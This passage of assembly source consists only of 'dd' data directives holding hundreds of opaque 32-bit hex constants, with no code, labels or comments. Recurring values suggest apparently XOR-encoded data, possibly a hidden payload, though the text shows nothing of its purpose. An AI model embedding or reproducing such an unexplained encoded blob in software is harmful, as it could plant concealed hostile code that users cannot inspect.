		dd 0DB134932h, 3215669Ah, 0F85F8A89h, 0D4DAD234h, 10BDC147h
		dd 0D11FF925h, 2FFCFD48h, 0DBEA99CFh, 3215661Eh, 0EEBD17FDh
		dd 19303B3Dh, 0FB18BC9Bh, 9571E53h, 1A38330Dh, 6A906942h
		dd 0CA156622h, 4D4EDB92h, 3D1460A7h, 32152CC1h,	0B7989A22h
		dd 324C6D76h, 3200E687h, 22FC6644h, 43156622h, 0A9314707h
		dd 0FCF3D182h, 0BDD32D75h, 3DFB50E1h, 32157794h, 399B6988h
		dd 0DB156644h, 32156624h, 3C213EE1h, 83FC7D81h,	0C7EA99A8h
		dd 1AFBE742h, 0B277A078h, 974D66Ah, 1D6A0DC1h, 29916924h
		dd 52156611h, 81D7E6E8h, 3215E74Bh, 0C7746622h,	5D905D70h
		dd 3D1349F7h, 32157AC1h, 4BFC9A22h, 52EA99FDh, 3214E587h
		dd 54E06644h, 0DB74A1A9h, 32156614h, 0AA199419h, 32AF342Fh
		dd 62156622h, 0F49CB698h, 0B2753CD0h, 851A1E98h, 0CC9607D5h
		dd 88906910h, 0DB156688h, 3215664Fh, 0BF231623h, 0AF1CDE8Fh
		dd 9E57E65h, 1D6A39C1h,	8906924h, 52156611h, 0C9DCE7EEh
		dd 0EEE7E75Bh, 532E2B1Dh, 0B5D1E39Ch, 3DFC66D0h, 24156644h
		dd 0BD2880D6h, 437DEB21h, 3A7ED1ADh, 0CFFC900Ch, 3DEA99C9h
		dd 32156E99h, 0B3730688h, 0CB94279Eh, 51905D43h, 3D13496Eh
		dd 3215490Dh, 35916944h, 3D156622h, 32156798h, 0B7989E88h
		dd 324DEE7Eh, 321561CBh, 52B2F811h, 0EDE5180Eh,	0CDFED9ADh
		dd 0B97306DDh, 0B9CCE7D3h, 530625A6h, 4D72E37Fh, 0B71A600Dh
		dd 3215660Ch, 4D90EB71h, 0DB153ECCh, 32156629h,	7DD58F2Dh
		dd 0EF61020Ch, 0DB4181C7h, 0CDEA8DAEh, 36F9E5EDh, 6A316201h
		dd 320CE24Bh, 26FC6622h, 1F156611h, 6F289AB0h, 1A818B45h
		dd 2C24FF5h, 851C14B4h,	5A20B217h, 32156646h, 0B33152A9h
		dd 321562D5h, 21966988h, 52156644h, 321563CAh, 0ED11C411h
		dd 3D4F1078h, 321566C8h, 0C41E0722h, 3201E31Eh,	3BFC6688h
		dd 6C156644h, 0EF211B78h, 790B9AD2h, 0CDFF9861h, 0DE969EBBh
		dd 1611EF26h, 66314A90h, 6C7368BFh, 541A0C5h, 0BBE9002Ch
		dd 1A1177A4h, 0B9E0068Eh, 879C07B3h, 343D4F0Bh,	3206EB1Eh
		dd 3CFC6688h, 0C1156644h, 39A0439Dh, 7CDEE42Ch,	99DE9385h
		dd 321B8F01h, 2C76622h,	0A1121F47h, 0B2A07E10h,	9F267274h
		dd 3DFC58A2h, 3215A994h, 32188F88h, 69456644h, 2808016Bh
		dd 0C4828872h, 0CDDEA868h, 1E946732h, 4B4A3306h, 1629ED57h
		dd 0B311A20Bh, 4B4A3383h, 0DD949E64h, 26621A0Ah, 5253A109h
		dd 0C5146D4Bh, 525389A3h, 0F5946D1Eh, 26621A93h, 32156EADh
		dd 76CC9822h, 0B7DCD0B6h, 0C29C36BCh, 369EA5CDh, 36D1E706h
		dd 0CA156611h, 524DD8DEh, 0E4E20024h, 0B31D88E3h, 121208F7h
		dd 3CE3E7B9h, 0B3156603h, 984AEFE1h, 0B3E66779h, 984AEF63h
		dd 0DA75382Ch, 32156636h, 2DC3DC1h, 0FACE6CEFh,	0B9C3C46h
		dd 9B8EBFCDh, 96B81F1Dh, 68BDBA08h, 3216E74Bh, 8D1A6622h
		dd 8F2E07E3h, 343D6299h, 3205E44Bh, 9E06622h, 3F9369EAh
		dd 3D156688h, 321567C7h, 0E6FC9F22h, 0C7EA99F8h, 1324DB03h
		dd 0F5ED606Ch, 1A15DFA7h, 32156617h, 0EA9E0688h, 0BE1A0625h
		dd 3215662Eh, 321561F8h, 6C393588h, 5521A996h, 1B3CD3ABh
		dd 0BE1A6039h, 32156687h, 32156CADh, 9511CC22h,	498016E7h
		dd 3DDD02A0h, 321567C9h, 0AF989E22h, 34256796h,	3DC69974h
		dd 32156AC9h, 34926922h, 3D156611h, 32156606h, 32048F44h
		dd 40666622h, 82B63B06h, 2532146Bh, 8C0ABEFCh, 39B57364h
		dd 3C9169D1h, 0CB156688h, 3215E1ADh, 33986922h,	0CA156611h
		dd 0BB88EB71h, 0DB134BD4h, 32156628h, 13B54114h, 0CE0FCA86h
		dd 0CDE99A43h, 4B9669F1h, 52EA99EEh, 32157261h,	92684844h
		dd 845A6485h, 5AB2F0B0h, 0E797C9C3h, 7775DAFAh,	0B9749AEEh
		dd 1A3C4FA4h, 879C9A8Eh, 343D66FDh, 32156ACBh, 1C9F7511h
		dd 0C8E9595Ah, 0B739D6C2h, 7888EB9Bh, 52134884h, 53DAD987h
		dd 3219E54Bh, 0BD1A6622h, 32156617h, 3215E787h,	0E1EA6644h
		dd 0FCA26942h, 53E2ED77h, 3604E303h, 3EFC606Ch,	9C156622h
		dd 69C71455h, 6E43CBCBh, 0CE9669F9h, 1B3CE3ABh,	53EC6039h
		dd 3206E987h, 3CFC6644h, 156622h, 0C1F73E4Fh, 85C1D7E6h
		dd 86F1C4C4h, 0DA2BE6D7h, 3314E31Eh, 39FC6688h,	44156644h
		dd 0AFA70671h, 0DEC21359h, 8F9664BCh, 343D4921h, 0D6916922h
		dd 0CE156611h, 3256BDE0h, 1619EF44h, 0DBD52893h, 0DBE4E616h
		dd 524CAE00h, 0DB98ADC4h, 32156636h, 0CC1D37D0h, 9A0F2658h
		dd 921E147Bh, 87B23F47h, 0BCBC3B04h, 0B11ACCE9h, 32156648h
		dd 3213E82Dh, 0B91A6611h
		dd 32156688h, 0BB118AC7h, 0C74D4216h, 863EFC14h, 61ED4FAEh
		dd 44462AFFh, 35F6A740h, 0BF8F9590h, 0EA3C7B15h, 32018F1Fh
		dd 0B3CB6622h, 79F0652Bh, 64749762h, 7241D03Ch,	0A896C5Ch
		dd 0B81A46A4h, 32156680h, 3217E24Bh, 53756622h,	3211DF40h
		dd 46386688h, 1B2B6B77h, 16163EAh, 3D4C581Ch, 32156A07h
		dd 0B21A0644h, 32156622h, 0A9F0D977h, 0E9A306E9h, 6575CD25h
		dd 0E499ACA3h, 0B34A3F87h, 41F97B4Ah, 51FC074Ah, 0DB156620h
		dd 32156602h, 8D2597E3h, 0ABDA6B1Ch, 4879200h, 522AC0EEh
		dd 0BF53F066h, 1DF290D9h, 0B9E90624h, 0E1EA07DAh, 3211E387h
		dd 63756644h, 0AF98077Ah, 343A9AB4h, 32157261h,	2D15F544h
		dd 0A4FFB874h, 4AE12CBh, 58D6C5FEh, 1163D08Eh, 2497692Fh
		dd 52156611h, 0DB2EB808h, 32156648h, 0EC866BF6h, 60706D0Ch
		dd 80D4A83Eh, 0DBC69925h, 3215662Fh, 81CADB3Dh,	0E36C8ED4h
		dd 5AFF1C6h, 3DD56D6Bh,	32156B94h, 9FC9A88h, 3D156644h
		dd 321567A3h, 0B7969A11h, 343D4FA1h, 32048F41h,	0C1BB6622h
		dd 7FFF49CBh, 0B50407FAh, 5DDE8FADh, 0CB8FF088h, 0CDEB3EF8h
		dd 38986977h, 0DB156644h, 32156627h, 53FE8628h,	0AF989340h
		dd 343A98D5h, 32156BCBh, 7830D411h, 0DED71981h,	0F5DEE735h
		dd 0E1EAE37Ah, 3214E41Eh, 39E96688h, 12906984h,	52156622h
		dd 0B61A46A7h, 32156688h, 42FC9F25h, 3D156622h,	32156C9Bh
		dd 0F59F0688h, 3215E44Bh, 0B1746622h, 2E9C62FDh, 3211DDACh
		dd 0E8146644h, 26FC0679h, 2B156611h, 0EE63BF38h, 1E622E4Bh
		dd 0DF24FE80h, 1AB6495h, 53CB0337h, 321443ADh, 68440622h
		dd 32018F71h, 9C266688h, 0D743A2CCh, 0DAC61982h, 0C5580747h
		dd 7F80EC60h, 3CFC2D27h, 0CB156622h, 0FD3EE590h, 0E2FA9C7Fh
		dd 0D2191C6Fh, 0BF7407A6h, 1F85EF8Ch, 3D91698Eh, 0DB156644h
		dd 32156628h, 0B0EA149Ah, 0FCC3A88Dh, 0E1EACA65h, 3252E52Dh
		dd 3DFC6611h, 0CF156688h, 72013962h, 844C741Ch,	0F6ADD56Ah
		dd 879EC28Eh, 343D4F6Dh, 3219E12Dh, 0B31A6611h,	3215668Eh
		dd 3215E04Bh, 22FC6622h, 40156611h, 679FCE97h, 0FFA3F561h
		dd 4E54E595h, 0DB9720B4h, 32154AE2h, 1B98EDB8h,	52134E0Bh
		dd 879C07E9h, 343D4FA1h, 1AD4E7B1h, 0B346580Dh,	293A82D0h
		dd 0B3E44FA8h, 293A82ADh, 1AFCE702h, 3D46583Eh,	32156A03h
		dd 34956944h, 3D156622h, 3215669Ah, 33FCE788h, 0C5156644h
		dd 0F49493F3h, 24273AB3h, 8847A8A1h, 24273AE6h,	3D4FB00Bh
		dd 3215609Eh, 0B9730688h, 0DB749F8Ch, 3215662Dh, 3BC0992Ah
		dd 98298F38h, 16C0D681h, 0C1DB30EDh, 84FC9FB5h,	0DBEA9974h
		dd 32156642h, 83B48D82h, 0AF985D14h, 343BF1E1h,	0C7C699B8h
		dd 1611ED75h, 5211A292h, 32156B61h, 0E92BFD44h,	8A2C8E3Eh
		dd 0D30EC98Bh, 0B3739FA2h, 53944D82h, 1324E309h, 0BE1A6039h
		dd 32156699h, 32156AADh, 77A53322h, 6B8A740Dh, 0C8ECD6F1h
		dd 5790EFD5h, 0DB134E22h, 3215661Fh, 0C8174E31h, 3FF6D08h
		dd 0AFAABD0Dh, 0B79E95E2h, 343D47B9h, 321561ADh, 0CC461222h
		dd 26C6CD18h, 321311E0h, 1629EF44h, 321568CBh, 2738BC11h
		dd 0C491374Dh, 683877A3h, 52B09D48h, 32156BF8h,	72628A88h
		dd 95E8B33Fh, 0E919C5FBh, 89733A6Bh, 5A74D498h,	32150FFAh
		dd 3D3162ABh, 32156797h, 0BF989388h, 343BFF9Ch,	321F8E42h
		dd 12816611h, 0FBF0CFCAh, 6A54A1AEh, 0CDFDE744h, 21FC3C8Ch
		dd 0A156688h, 5618D173h, 2899A47Dh, 726055CDh, 7CDD2101h
		dd 0CD746D68h, 0B51A06F3h, 32156610h, 0E4940074h, 0B974CE83h
		dd 1A0467A7h, 0B9750617h, 0F3940756h, 134C27D7h, 67440E43h
		dd 369C6611h, 339569ACh, 0CB156644h, 0B3F4EF73h, 321562D0h
		dd 36FCE788h, 0B5156644h, 0BB49422Eh, 0BE1A422Dh, 3215668Fh
		dd 3214E44Bh, 0B9E06622h, 1A345794h, 0BB449E8Eh, 36D4E7A5h
		dd 0B1156622h, 3E9262F8h, 369C3AACh, 249E6960h,	3D156622h
		dd 32157695h, 321E8F88h, 31116644h, 9AC659EDh, 0F13816EFh
		dd 0D898EB04h, 3D1348DEh, 321567AFh, 0E3EA9A11h, 8A7306E8h
		dd 37FD463Fh, 9156622h,	464B90FCh, 0E39407D0h, 12A2E1B6h
		dd 777A0E43h, 369C6611h, 61E03CACh, 1611E714h, 72DE5F83h
		dd 93FEE74Ah, 0BB55ADB1h, 19ED3D9Dh, 1A0467AFh,	3BFD0617h
		dd 0A7156688h, 6A3B9663h, 0C4818530h, 3215E61Eh, 0DB4C6688h
		dd 3215664Ch, 0A8A6FBDDh, 0F7B5CDD9h, 0C7A8E5E9h, 32134E6Eh
		dd 32A9E22Dh, 0B21A6611h, 32156689h, 2390EDB1h,	52134E38h
		dd 0D0DFE671h, 0FC3FAD09h, 3D744C10h, 321564A2h, 534C3511h
		dd 18E0E3A3h, 0CE75606Ch, 32936942h, 0B2156611h, 5374F847h
		dd 0B41AA77Fh, 3215665Ch, 321575F8h, 0D0BD0188h, 0D1631027h
		dd 868BD77Ah, 32B41E66h, 51E6EB95h, 3214E04Bh, 0B9ED6622h
		dd 1A3D9794h, 0B7169E8Eh, 343D4CB1h, 321575CBh,	0D5CA3711h
		dd 0ACF65AF8h, 0B2A484F2h, 169AB7FEh, 9FD260E8h, 1754E301h
		dd 52EC606Ch, 1E50A5A3h, 0DB742374h, 32156483h,	3212EB4Bh
		dd 82756622h, 8CC7E64Fh, 32018FE9h, 0A9CC6644h,	9F6C6A8Bh
		dd 40C1B0B5h, 60D474Ah,	7EA3860Ah, 0BB406A25h, 36D0E7F4h
		dd 0B3156688h, 321562A9h, 1639E122h, 1619EF4Dh,	60F30E70h
		dd 3E9C6644h, 54753E06h, 57738690h, 32157460h, 1B3E9344h
		dd 4E56FA81h, 84F78BBEh, 0D2A2D2D6h, 52C957FDh,	65743F43h
		dd 421B16AEh, 0A3D2E79Eh, 1BFCE9B5h, 0B61A39DAh, 32156619h
		dd 3217E487h, 53756644h, 7C8ADF73h, 0DB942AFBh,	7EFF5828h
		dd 3E9EAE4Dh, 36D1E706h, 0DB156611h, 32156680h,	3AD46278h
		dd 99F045ECh, 5200DC43h, 0F09462B5h, 0C9D7F9AEh, 3D4FB60Bh
		dd 3215679Fh, 0B79C9388h, 343D7C55h, 53A9D142h,	321FEF1Eh
		dd 8C756688h, 2A1D8D2Eh, 53ECED44h, 10D0E310h, 21FC60A0h
		dd 0E8156644h, 0F97A74AEh, 51626354h, 0A69AA77Dh, 0A40F4846h
		dd 0B7D20CE8h, 343D4CE4h, 32156688h, 321560ADh,	1BF52122h
		dd 5845E08Bh, 2D9069C8h, 3D156644h, 32157FAFh, 32018F11h
		dd 0B5666688h, 7AE01E2Fh, 82B0587Fh, 0FF762964h, 74428B8Ah
		dd 327D2568h, 52156632h, 7FC2E777h, 32048E14h, 5B066644h
		dd 5B7EC091h, 42617F8Ah, 0C6807D8Bh, 0DB09A13Bh, 32156627h
		dd 0F709AD1h, 5A743844h, 321561FDh, 52316AABh, 349769EDh
		dd 3D156688h, 321566C1h, 58E00722h, 32078F11h, 1D4C6688h
		dd 0C6FA3877h, 77D3972Bh, 0EE2CE2C3h, 86818F90h, 3D14F3BBh
		dd 38FC600Ah, 7B156611h, 0B1711771h, 0E87C7E18h, 0C78099FFh
		dd 3D134E30h, 32156A04h, 32128F44h, 29D86622h, 0D3B581DEh
		dd 0C390EF49h, 0CB134E6Ch, 1754E3ABh, 0B01A6039h, 32156689h
		dd 32128FB1h, 0E9C96622h, 1E156CBBh, 1619ED7Dh,	0B3F7EF16h
		dd 321562E0h, 36D7E711h, 0B5156688h, 0DB494250h, 32156631h
		dd 0B44A2E76h, 0DDAC600Bh, 7977CF1Dh, 0D68910BBh, 0CDB6F2EFh
		dd 1A30273Dh, 8A750642h, 0E89595Ah, 87EA0770h, 343D7789h
		dd 32068FB8h, 2CB56622h, 0E20893D6h, 0DBCD24E1h, 0EC473B10h
		dd 0F96752Ch, 36F9E7DBh, 0BB156688h, 39FC4278h,	7D156622h
		dd 5AA24A8Bh, 35BE1BF3h, 87EAD9E1h, 343D4713h, 0E8940071h
		dd 0CB45108Eh, 0B798071Dh, 343BD57Bh, 321572F8h, 0E39AA288h
		dd 840EE89Ch, 6B451007h, 0F6808D75h, 6E736585h,	0DBC59969h
		dd 32156636h, 6EE0425Ah
		dd 0A9524482h, 0BE90774Bh, 3CB5A885h, 194374ECh, 18E0EB89h
		dd 22FC606Ch, 0B7156622h, 9AB8136Fh, 7F4D9980h,	8CC8572Ch
		dd 0B969D956h, 1A3027ACh, 0C99E068Eh, 0F31DDF22h, 33A0ED43h
		dd 0C7134E00h, 0BB1AC27Bh, 3215664Ch, 3217EF2Dh, 53756611h
		dd 3680D303h, 9FEC606Ch, 0EC940042h, 5475A596h,	2CA9A609h
		dd 1395D822h, 8B440743h, 47F77C05h, 0EBE2B77Fh,	5EC7AFC5h
		dd 0DB9451ADh, 3850584Ch, 0C394BF7Fh, 0A040D9C2h, 0B9E928ABh
		dd 0F696421Dh, 32128F8Ch, 54946644h, 0F5DF4310h, 37D5A7F0h
		dd 3211E987h, 52756644h, 88470743h, 309C58D0h, 1E2DD8DEh
		dd 0C49449E5h, 52017EFFh, 61EB9090h, 0FC945086h, 23703AAFh
		dd 0B31388E3h, 1704F9FFh, 6CE76738h, 0C74FB645h, 19C8E321h
		dd 0B9EC6039h, 1A302705h, 32128F42h, 6DE76622h,	0E8260D11h
		dd 0C5F0E67h, 3E9C6644h, 0CA15E906h, 32156AF8h,	28C0B88h
		dd 1AE03ED3h, 9E10BE4Ch, 0BA1ACB4Ah, 32156689h,	1D5F0EB1h
		dd 1E9C6622h, 3215DB35h, 5C9C6688h, 0BBE03BB8h,	1A11F397h
		dd 33986917h, 0CB156688h, 32156EADh, 0F16EC022h, 445DEED3h
		dd 0CDEDE575h, 32B2E34Bh, 0B3EC6622h, 0EFC8BB2Fh, 0A8906955h
		dd 0DB156644h, 32156624h, 7F864C12h, 8946E909h,	7AFA4454h
		dd 6EE8A5A3h, 0E1E21F9Bh, 68668D09h, 2C9CB5FDh,	0B31B9979h
		dd 2B1A743Fh, 5E3BE7E4h, 3DE8D253h, 321567AEh, 60429F11h
		dd 32156232h, 68C2EF44h, 524A9823h, 321569F8h, 6C242D88h
		dd 0ED073AD9h, 48F8511Ch, 8B79FA6Fh, 0E30A409h,	0BB746685h
		dd 1A11F397h, 321B8F17h, 1DC16688h, 0DDA5B980h,	0DE91414h
		dd 1DE4F677h, 0CDC14561h, 249369BBh, 52156622h,	32156CF8h
		dd 0DE7D9488h, 7F76A913h, 548968F3h, 0F8EDB790h, 31D5A7E9h
		dd 3212E24Bh, 0BE1A6622h, 32156610h, 0EF906574h, 3D134E6Fh
		dd 32156DADh, 0BD1A0611h, 32156688h, 53DBED22h,	321A8E42h
		dd 23606611h, 41ADFEBBh, 51CC81AAh, 9C090755h, 6B9DD712h
		dd 0B1745238h, 1A342BF9h, 0B61A6724h, 32156532h, 369469E8h
		dd 54156644h, 53674E98h, 982BE7E9h, 3DBFCC22h, 3215C7C1h
		dd 2B976922h, 52156611h, 32157661h, 6BAB8E44h, 3B7D5368h
		dd 0A2A3AAFCh, 0C08BA1E9h, 53FDEC07h, 3211DD71h, 0DC946611h
		dd 3C1C2156h, 0F494B845h, 3C1C21FCh, 0B373064Ah, 0B32ADD49h
		dd 0C6916C96h, 8F400701h, 0A31521Dh, 32399309h,	0DFD47BC1h
		dd 6F8E72Ah, 611543B0h,	0CDEA9A33h, 0BBE667BBh,	3D483D09h
		dd 32156894h, 321C8F88h, 0E84B6644h, 5BFA08Eh, 3703B28h
		dd 3D25770h, 0D09F06BCh, 0AAAB0073h, 63743D38h,	0FA9D7339h
		dd 52E9521Dh, 99C6E744h, 0BE5E759h, 53328E3Bh, 32155AADh
		dd 65459A22h, 1629ED49h, 3211A209h, 0DBED6644h,	32156629h
		dd 5AB2F0B0h, 0E797C9C3h, 6175DAFAh, 37A58591h,	2E9EBE11h
		dd 36D1E7ACh, 52156644h, 18BEDF44h, 3217EF1Eh, 53756688h
		dd 72EC0E25h, 369C6622h, 33906935h, 0C7156688h,	25ACDBC7h
		dd 3D14600Ah, 32147D95h, 359D6988h, 3D156644h, 321567A9h
		dd 5A429F11h, 4990540Eh, 0B1315ACFh, 0DD9462E6h, 67EA4AA0h
		dd 36C09109h, 0CA9C43C2h, 3E90697Dh, 3D156611h,	32156009h
		dd 32956944h, 0B1156622h, 1D6A11ACh, 0B61A668Eh, 3215666Ch
		dd 321574CBh, 0C0389F11h, 1689D0B8h, 3891D3F0h,	0DA05D6F8h
		dd 0CECF13FCh, 0FA65FB05h, 0CDEC606Ah, 339E69F1h, 0CB156611h
		dd 3D855908h, 321548C0h, 32108F22h, 3A056611h, 641F0AFFh
		dd 3210DF15h, 0FC9C6622h, 6CE26748h, 0C29E00E8h, 70FABCC5h
		dd 0DB744420h, 32156762h, 8D1A9AE8h, 0B1ED0786h, 0B01A36DAh
		dd 3215667Dh, 0C7EFEDE8h, 27A23525h, 0E5E3B9D4h, 63918991h
		dd 0DA9D9B00h, 3CFC3D1Dh, 0E6156622h, 0DDE7D44Eh, 444DE490h
		dd 73BCA009h, 0BE1ACC08h, 32156610h, 1611ED70h,	37F5EF14h
		dd 32156626h, 32156214h, 1611E188h, 3D450618h, 3D4BAE95h
		dd 32156694h, 3DBF0788h, 32156BCCh, 0B3730622h,	3DA5C1CFh
		dd 32156603h, 0F2FC0744h, 0CE156622h, 6A3152EEh, 3211A209h
		dd 64756644h, 534F0742h, 32078FBBh, 0D6E56688h,	0F7827586h
		dd 61A2FBF9h, 984A1AC2h, 4C9728AEh, 0DBEA19C4h,	3298E32Dh
		dd 39FC6611h, 91156688h, 0EE4A38E7h, 0C126D4A4h, 8F965ED8h
		dd 343A19FFh, 7B916944h, 0CE156622h, 3208EB1Eh,	0B01A6688h
		dd 32156653h, 321574CBh, 0CD62A711h, 0FEEDCCB9h, 93C4F017h
		dd 5504A73Dh, 0BF52E7C4h, 1CD21D15h, 32198F42h,	0B7C36622h
		dd 7BD38B1Ah, 0D267142Ch, 0E1EA27EEh, 321561CBh, 0BD1E0911h
		dd 0E42D01B6h, 0BAD3EE16h, 269E6255h, 36D1E735h, 52156688h
		dd 28AF0024h, 0DD94005Ch, 3D7423BBh, 32156303h,	0E2940044h
		dd 0B974F03Dh, 1A302794h, 9338938Eh, 371D4659h,	1AB86D8Ch
		dd 9C389E38h, 373DCB83h, 3A357BE5h, 5382D042h, 36AF34E9h
		dd 1F156688h, 16300F69h, 1F10B60Bh, 68314378h, 9FECCD7Dh
		dd 3200EE4Bh, 22FC6622h, 4B156611h, 9CB072AAh, 9297766Eh
		dd 6F8A5050h, 615FDFAAh, 0CDEA9A33h, 65E667BBh,	0ED1EA19Dh
		dd 39E2E722h, 0C56CE388h, 0B3C29193h, 0CB48B2D5h, 96D2E72Dh
		dd 0B358D2BEh, 9A662283h, 6D2EEF19h, 2E96694Ah,	52156688h
		dd 3215E84Bh, 3DFC6622h, 79156611h, 6E8838B9h, 52BB956h
		dd 0AE6B1CCFh, 0DB74DF7Dh, 0CDEA9DDBh, 0A7A0EFB8h, 0CE134E26h
		dd 0D09C34E4h, 3211A409h, 0D8966644h, 1601E126h, 1601EF4Dh
		dd 32157661h, 9D2E4C44h, 0BA4F7D50h, 0AC9C1FE1h, 0EBF3B94h
		dd 0B2150E39h, 0B11A6622h, 32156610h, 52150C74h, 544C3624h
		dd 53760799h, 32156FF9h, 72021988h, 7D61E89Fh, 6BE994CAh
		dd 0E7A09970h, 52134E85h, 321563ACh, 8BB05722h,	0B11ADD9Dh
		dd 32156688h, 0A7EA071Eh, 343D6823h, 321AE21Eh,	38FC6688h
		dd 0A4156644h, 9A3BE671h, 0A05CCAE2h, 1601EDF1h, 0B3F6EF17h
		dd 321562E1h, 36D6E711h, 0B5156688h, 0DB494258h, 3215662Dh
		dd 352E640Ah, 0D96933Dh, 204E8523h, 0B90EBE16h,	1A26A79Ch
		dd 3397698Eh, 0CA156644h, 299F0E77h, 1E9E7BFEh,	36D1E5ACh
		dd 299F8BC5h, 1B9C7BCDh, 8F409F4Ch, 3215668Ch, 1E9E8F45h
		dd 36D1E706h, 3D156611h, 32156E08h, 309B6944h, 52156622h
		dd 0F398EF70h, 3D134EBBh, 321561C6h, 339A6922h,	0C7156611h
		dd 0CDD20F61h, 321A8FBBh, 659A6622h, 0E319E769h, 6B560157h
		dd 22D677E1h, 18018FA7h, 0BF1A6611h, 3215668Dh,	0FD9E9324h
		dd 0C7750643h, 0B974A09Ah, 1A26A705h, 3F966942h, 0DB156622h
		dd 32156619h, 98D89D1Ah, 0FE3EA4C8h, 3E9E57DDh,	36D1E735h
		dd 3D156688h, 32157FCCh, 32018F22h, 13506611h, 58A8BF71h
		dd 7668CC60h, 0CDCABF59h, 0DF48D7F8h, 0BF9C5C50h, 343A1937h
		dd 30926942h, 62156611h, 0A9407D7h, 7E51320Ah, 3298E32Dh
		dd 0B51A6611h, 32156681h, 0B01A9A24h, 32156622h, 4A940070h
		dd 3D3B2A8Ch, 321514C1h, 8A730622h, 3FAFC9C5h, 5303B7E3h
		dd 32118AC5h, 369C6622h, 0BC1A3835h, 32156692h,	3201EA4Bh
		dd 3DFC6622h, 1E156611h, 184BD21Fh, 0B83094A4h,	7E3C0C82h
		dd 8A45A2F1h, 3215668Eh, 1F85A0C5h, 0F4145175h,	1F858890h
		dd 3D4D51DFh, 32156ACDh, 32128F22h, 76F06611h, 6885EF2Bh
		dd 390EDBBh, 0CB134E2Bh, 321029F8h, 32108F88h, 0C4B6644h
		dd 628EAA02h, 57316290h
		dd 0B948E3D7h, 0F6944270h, 32156626h, 6D708890h, 62EC3B0Dh
		dd 5C3162C5h, 0B96A123Eh, 0F6944205h, 3215668Ch, 2E7B8CC5h
		dd 20FC1956h, 0F5156611h, 768D3972h, 0AEAFBC70h, 6E5EBEAh
		dd 0DC6F9BF7h, 52DC57C0h, 32156CADh, 558EB922h,	0B4C13C9Eh
		dd 0B3DB3FF2h, 0A4059B92h, 0DBB90745h, 32156617h, 13109148h
		dd 0BC1AF17Dh, 32156620h, 32290771h, 3374E287h,	0B21A6644h
		dd 3215662Bh, 0B8F2E771h, 0CB7E58FEh, 3D385A25h, 0CDEAABA6h
		dd 3E9869EEh, 3D156688h, 321560C2h, 32906922h, 0E156611h
		dd 0FB9169A6h, 52156644h, 0B81AD597h, 32156611h, 3D255AE9h
		dd 321078C6h, 37946922h, 52156611h, 53C98B08h, 0B41A5F78h
		dd 0CDEA99ACh, 32156CF8h, 0FBF77888h, 0BBB81A4Dh, 3D3B2368h
		dd 3215679Eh, 73299F88h, 36F8E44Bh, 20FC6622h, 0A3156611h
		dd 4D806A0Dh, 0FBA9FBBAh, 16261B71h, 216815CCh,	3D4F5AB0h
		dd 0CDEA37C2h, 6D299ADDh, 0CD5DE21Eh, 0BD1A9977h, 3215664Ch
		dd 3217E52Dh, 53756611h, 0B01A07B4h, 321562EBh,	32156FCBh
		dd 0ABB03711h, 0CC1105F0h, 26FCF1F0h, 3C156622h, 37A71E83h
		dd 66588A36h, 58FDB195h, 396C6483h, 0E6CE130h, 319369F2h
		dd 52EA99BBh, 0D91A0A3h, 0B3733A00h, 53177653h,	321108ADh
		dd 339F6922h, 0CE156611h, 0E5249CB9h, 0B5529C75h, 0B71A06D8h
		dd 32156613h, 0B749D03h, 7E9169B6h, 0DB156626h,	3215661Fh
		dd 8C868B4Eh, 97CFC716h, 3C817DF6h, 0E8923FB8h,	3CF57C3h
		dd 52CF5797h, 3217E82Dh, 0F89F6611h, 321B8FDEh,	0A6956644h
		dd 0CEEC6CBFh, 0A8F27F7Dh, 8246205Ch, 8F40071Fh, 0CDEA99DDh
		dd 0CE488F38h, 0CDEBE361h, 0B7E993BBh, 0CA9169EBh, 3D156612h
		dd 3215740Ch, 32188F44h, 3286622h, 40354209h, 6F60C83Eh
		dd 0BF41948Dh, 1A279F97h, 2D946917h, 3D156688h,	32157FC1h
		dd 32018F22h, 814B6611h, 0A10B72A5h, 1F7354A5h,	3768A34Bh
		dd 796E886Eh, 0BF1A6FB8h, 3215664Ch, 3217E52Dh,	53756611h
		dd 32118A09h, 1E9C6644h, 0BBC0EF06h, 34FC3BF8h,	91156688h
		dd 0B5C00320h, 0BB4030CFh, 6FFBEFC4h, 524B9101h, 321572ADh
		dd 0D76D9D22h, 3CAA5043h, 0C62BACEAh, 19BC60Ah,	98F7FF2Dh
		dd 6144075Ah, 98A00B3Bh, 0F24EBB6Ch, 0FF956EC7h, 0CCD89898h
		dd 0B2C09045h, 0DA9D30B1h, 0DB75067Bh, 32156600h, 0A1E46A29h
		dd 2BFE5E86h, 444003C6h, 282BE11h, 5374066Dh, 0CF60C825h
		dd 3214EF2Dh, 3DE06611h, 32156101h, 33956944h, 0CE156622h
		dd 0F138F90h, 0CB3C6C5Dh, 704DC16h, 0B3577EABh,	6E1D72E3h
		dd 68C4679Ah, 3219E94Bh, 35FC6622h, 76156611h, 33F9144Eh
		dd 0B55C03AAh, 0B5C091CBh, 339369F8h, 0CB156688h, 5BD189C5h
		dd 0FD3C06BAh, 12EDDB44h, 0EFE2793Bh, 1C2683C5h, 0F7946A6Eh
		dd 52593DD5h, 3D488989h, 321561C6h, 33916922h, 0CB156611h
		dd 0CC2491B9h, 0B3759175h, 1094B2CDh, 537FD600h, 0BC1AC27Bh
		dd 32156648h, 321561CBh, 6D2F9311h, 0E99CBA50h,	0E6EA2182h
		dd 0C4EA31D4h, 75EB9946h, 0CD52E677h, 32058F6Fh, 0CCFD6622h
		dd 923352A1h, 5A9F9BBEh, 0BCF0BA90h, 0A7989DBCh, 343D54E8h
		dd 0DBC2EDE8h, 32156657h, 22CC0455h, 89B6F4Ah, 906268B2h
		dd 0BCB45885h, 53752C40h, 6C4E39Ah, 0B7ED60A0h,	0B5906984h
		dd 3D156622h, 3215679Ah, 0B7D39F88h, 343D6B61h,	33976965h
		dd 0C7156611h, 0A8B2B4E0h, 321A8F90h, 4BC86622h, 0FFE8AEDh
		dd 8C3416AAh, 0F1FC3714h, 3FA099CAh, 3D134E05h,	32156E01h
		dd 309A6944h, 52156622h, 6A90EB70h, 3D134DE7h, 321579C2h
		dd 0B9730622h, 32018EC6h, 23716688h, 85D5A748h,	0C821423Eh
		dd 0DB72039Fh, 1E93C801h, 534A42C7h, 321560CBh,	5C82F011h
		dd 0CD40DCE5h, 0F39F0694h, 3216E22Dh, 0B9736611h, 0EA7D0742h
		dd 0BB156642h, 0BC1A4236h, 3215661Bh, 0EA9E00E8h, 28DEE722h
		dd 39FC07ABh, 26156611h, 0F5D8A0A1h, 50B621FEh,	0E2EA74AFh
		dd 32156DF8h, 7CDBEB88h, 0E09E03DEh, 0E0A8B7B8h, 0B71AA694h
